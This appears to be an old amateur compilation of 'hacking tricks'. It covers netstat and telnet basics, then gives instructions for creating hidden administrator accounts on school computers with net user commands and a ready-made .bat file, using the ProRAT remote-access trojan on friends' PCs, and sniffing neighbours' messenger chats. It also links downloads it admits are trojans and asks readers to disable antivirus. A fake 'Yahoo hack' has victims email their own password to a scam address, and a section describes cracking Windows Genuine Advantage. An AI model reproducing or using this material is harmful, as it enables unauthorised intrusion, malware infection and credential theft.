some hacking tricks

---

This is a complimation of computer tricks, mainly security and privacy related.

By: the@womble.co.uk
Flames: If you think this is crap, you're probably right. Sue me
Send/ email to anyone as long as the entire file is intact
Site: www.groovyweb.cjb.net, www.axion-network.net for more

Getting Ip's:--

To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.

Type netstat -r at the command prompt to see the ip of all computers you are connected to

In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are seperated by a : . Different programs use different ports, so you can work out which ip's are from which program.

Connecting to other computers and what ports are:--

Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called portscanners which check a computer for all ports up to a certain number, looking for ways in. You can portscan a computer looking for ways-in.
Anyway, back to telnet.
Type www.yahoo.com as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)

Allowing dos and regedit in a restricted Windows

See http://blacksun.box.sk/tutorials/format.php3?file=windows.html for some very cool tactics.
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0

Save it as something.reg then run it. Simple.

Making undeletable, unreadable folders

Tested on Windows 95/98
By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some randomn numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)someword. md is the dos command to make a directoy, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)someword someword (ren is the dos command to rename)

Proxies

Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port

Password files

If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. Download showpass.zip from hereto view all passwords stored. Or rename the files to .bak to delete passwords.
In Unix, passwords are normally stored at etc/passwd. This can be viewed using the cat command (prints a file to screen): cat etc/passwd. Make sure you're passwords are shadowed (not actually in etc/passwd). Also make sure they aren't in a file called shadow, especically not in a file called etc/shadow.
Unix passwords are encrypted far better than Windows one's (to be fair, Windows 95 isn't designed for users), but can still be cracked through a program called jon. See here.

Securing your website

Ftp Ftp is how you upload your web site, if somone finds out the password they can add/ delete anything. Brute forcing is the most common ftp attack, where a program guesses every possible combination (or from a list of words). An eight letter alpha-numeric word is almost impossible to crack, as the process is slow.
The real problem is with server side scripting. Pages other than plain html (ie. pages that perform commands on the host) are a security risk. The main problems are scripts that write to pages (guestbooks etc.). If when the guestbok is viewed it has a .shtml extension, then it can execute commands. Eg. a malicious visitor could place the following shtml command in a messege: http://www.mediafire.com/?8m84m2vww9v

Hacking your school

Hacking your school
Adding/modifying user accounts
C:>net user username /ADD

where username is the name of your new account. And remember, try and make it look inconspicuous, then they'll just think its a student who really is at school, when really, the person doesn't EXIST! IF you wanna have a password, use this instead:

C:>net user username password /ADD

where password is the password you want to have. So for instance the above would create an account called 'username', with the password being 'password'. The below would have a username of 'JohnSmith' and a password of 'fruity'

C:>net user JohnSmith fruity /ADD

Right then, now that we can create accounts, let's delete them

C:>net user JohnSmith /DELETE

This will delete poor liddle JohnSmith's account. Awww. Do it to you enemies:P no only joking becuase they could have important work... well okay only if you REALLY hate them

Let's give you admin priveleges


C:>net localgroup administrator JohnSmith /ADD

This will make JohnSmith an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.

You can list all the localgroups by typing

C:>net localgroup

Running .exe files you can't usually run

In the command prompt, use cd (change directory) to go to where the file is, use DIR to get the name of it, and put a shortcut of it on to a floppy. Run the program off the floppy disk.


And if you cant make an admin a/c try this
Code:

open notepad and copy this:


@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin

***************

save this with a .bat extension and it might works

or

Code:

step 1. log onto an anonymous account the general school login. harder to track you but they still can track computer number and time of day... but if you dont know it forget about it.

step 2. open notepad and type command.com and click file> saveas > then type like test.bat . file extension must be .bat

step 3. open the folder you saved it in and run it. and your in command console.

step 4. change directorys. not sure if you have to do this but i did. and will always just to be save and to save time.... type cd C:\ and hit enter

step 5. next type net user username /ADD hit enter....

step 6. open notepad again and put this in it.
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup \"Administrators\" /add Admin

save as test2.bat again must be a .bat

step 7. run it.

step 8. your done log off and login as

username= Admin
pass= blank.

Accesing other's pc

Accesing other's pc

Use Remote desktop...
go to start -> run and type 'mstsc' widout the inverted commas...or
got to start -> programs -> Acessories -> COmmunication and REMOTE DESKTOP CONNECTION

Type the ip address and log into the computer...but b4 u do this, make sure that the remote computer has remote acess enabled(port 3389) and make sure the acc u want to log into has a pass...hope it wrks..cheers!


Hacking peoples computers

You can change everything if you want you also get snipits of what they are doing whilst ur on we used it for nicking songs of our friends computers n den once we printed out messages through his computer saying things like 'get off me' i dnt want to b used by u u jus simply download the file from http://www.prorat.net/" target="_blank">www.prorat.net or it mite b .org .com or something cant remember but its gud but on one of me mates comps it doesn't work it just make his computer go crazy soooo try it it works for most ppl n its fun1

Hacking

Shadow IM Sniffer v4.11
If you want to know, what your neighbor is talking about on Yahoo! Messenger chances are you can't. However, if you have access to the Internet gateway used by your neighbor and you can install Monitor Sniffer there, you'll almost surely be able to monitor his conversations. This program uses WinPcap (Windows Packet Capture Library) to sniff the network traffic. When the setup of Monitor Sniffer finishes, you are asked to install WinPcap as well.

he user interface is very simple. You can start or stop monitoring your network, configure which network adapter you want to use, and you can see all the messages that were intercepted in a tree hierarchy. The program is compatible with Yahoo! Messenger with Voice version 8. This is quite enough for such a program.

I tested the program on my computer

Download:http://www.mediafire.com/?4bt20jnzjww

Hack Yahoo its work YArr!!!

Hack Yahoo its work YArr!!!

This is how you can try it:

STEP 1- Log in to your own hotmail account.

Note: Your account must be at least 30 days old for this to work

STEP 2- Once you have logged into your own account, compose/write an e-mail to passmachines@yahoo.com This is a mailing address to the Hotmail Staff. The automated server will fire you the password that you have 'forgotten', after receiving the information you send them.

STEP 3- In the subject line type exactly: “PASSWORD RECOVERY “

STEP 4- On the first line of your mail write the email address of the person you are hacking.

STEP 5- On the second line type in the e-mail address you are using.

STEP 6- On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a JavaScript from your account in the Hotmail Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status.
The process will be done automatically by the user administration server.


STEP 7- The final step before sending the mail is, type on the fourth line the following code exactly:

cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pw

rsascript<>in=passmachines&f=(password)&f=27586&javascript=ACTIVE&rsa#>

{simply copy and paste above.}

Yahoo Password Hacking Tool !
That's it !!!
CAUTION:THIS IS A TROJAN !! SO ANTIVIRUS MAY CATCH IT !!
SO PLEASE TURN OFF UR ANTIVIRUS WHILE DOWNLOADING !

http://www.mediafire.com/?8wxwil5v0ez

Disable and Remove Windows Genuine Advantage Notifications Nag Screen

Microsoft has released WGA Notifications application which effectively turned Microsoft Windows operating system into a ‘nagware’, with a “This copy of Windows is not genuine” warning. What the Windows Genuine Advantage Notifications application does what it will check your Microsoft Windows XP validity. If it found that the copy of Windows XP is not validated, not genuine, counterfeit, unlicensed, pirated, illegal, unauthorised or simply failed the Windows Genuine Advantage validation process, then the notification messages will appear at various places and time.

Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should contacts Microsoft if their licensed or OEM software cannot be validated or purchase genuine software.

When you log on to a non-genuine copy of Windows XP, the following notification error message “This copy of Windows is not genuine” will pop-up on the logon process:

And the nicely said “You may be a victim of software counterfeiting” message on the bottom right corner of log-in screen:

Microsoft allows Windows faithfuls to have 2 options: Get Genuine or Resolve Later. Click on Resolve Later will temporarily bypass the notification and let you login into and use Windows nagged with notification icon and messages, which will randomly appear as balloon notification message with an icon in the notification area (system tray).

Clicking on the balloon notification or the notification area icon will lead you to the Windows Genuine Advantage Validation Failure Web page that contains the specifics of the validation failure and the steps that you can take to make the operating system genuine.

To get rid of the WGA notifications that intends to remind you that your Windows is not validated, you can buy a validly licensed copy of genuine Microsoft Windows.

Update: Bypass WGA Validation with Crack or Hack and Disable WGA Notifications Warning Message Workarounds

Latest Version: 1.5.554.0 on October 2006 (distribute to some computers with no known roll-out pattern), 1.5.708.0 on September 2006 (distribute to whoever wants to download from Microsoft Download Center), 1.5.540.0 on 28th June 2006, 1.5.532.2 on 6th June 2006, 1.5.532.0 on 30th May 2006, 1.5.530.0 on 23rd May 2006, 1.5.526.0 on 26th April 2006.

More information on WGA Validation Tool (KB892130) and WGA Notifications (KB905474) which install LegitCheckControl.dll, WgaLogon.dll and WgaTray.exe.

With new release of WGA, some methods no longer works, and some has been updated. Several methods that has certain success on certain people, you may try until you success.

Official Method by Microsoft - more information here.

First Method

1. Lauch Windows Task Manager.
2. End wgatray.exe process in Task Manager.
3. Restart Windows XP in Safe Mode.
4. Delete WgaTray.exe from c:\Windows\System32.
5. Delete WgaTray.exe from c:\Windows\System32\dllcache.
6. Lauch RegEdit.
7. Browse to the following location:
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
   Windows NT\CurrentVersion\Winlogon\Notify
8. Delete the folder ‘WgaLogon’ and all its contents
9. Reboot Windows XP.

Note: With this method, you may be prompted to install WGA Notifications again which can still be unselected.

Second Method

Another alternative suggested by dman is by using System Restore to restore the PC to a previous restore point that WGA Notifications hasn’t kicked in, and then carefully stop KB905474 from been applied to the system. To use System Restore, go to Start -> All Programs -> Accessories -> System Tools -> System Restore.

Note: Again, you may be prompted again to install WGA Notification, so it must be bypassed.

Third Method updated

This method involves using a cracked version of LegitCheckControl.dll to replace the original copy of LegitCheckControl.dll, and thus bypass the WGA validation and make Microsoft believes that your copy of Windows is genuine. To get rid of WGA Notifications warning messages, the patched version of WgaLogon.dll and WgaTray.exe to replace the existing files.

To apply the patch by replacing the files manually, try to end the respective processes in the Task Manager before deleting the existing files. Most likely is you will have to restart your PC in Safe Mode in order to replacing the original copy of LegitCheckControl.dll and related files. However, there has been automatic updater and even cracked WGA installer that automatically apply the patched version of WGA files.

Latest Update for WGA version 1.5.708.0 latest

Fourth Method

Another alternative suggest that three files are installed Windows XP System Folder for WGA:

\WINDOWS\system32\WgaLogon.dll
\WINDOWS\system32\WgaTray.exe
\WINDOWS\system32\LegitCheckControl.dll

The wgatray.exe process makes the check for genuine windows software. If WgaLogon.dll is denied execution right, that WinLogon is unable to call it to check on Windows validity and display notification package at boot, and since WgaLogon is also responsible for running and maintaining WgaTray.exe, no more tray popups either.

To change and disable the execute bit of WgaLogon.dll:

1. Turn off Simple File Sharing in Tools -> Folder Options -> View tab.
2. Right click WgaLogon.dll in Windows Explorer and open the Security Tab.
3. Click Advanced button.
4. Uncheck the Inherit box at the bottom.
5. Click the Copy button.
6. Click OK.
7. Go through each listed user/group and remove the “Read & Execute” permission for WgaLogon.dll, leaving the “Read” permission as-is.
8. Click OK to apply the permission changes.
9. Close the file properties dialog.
10. Restart the computer.
11. Turn “Use simple file sharing” on (optional).

Optionally, steps suggested by PSNet which has the same effect - disabling WgaLogon.dll.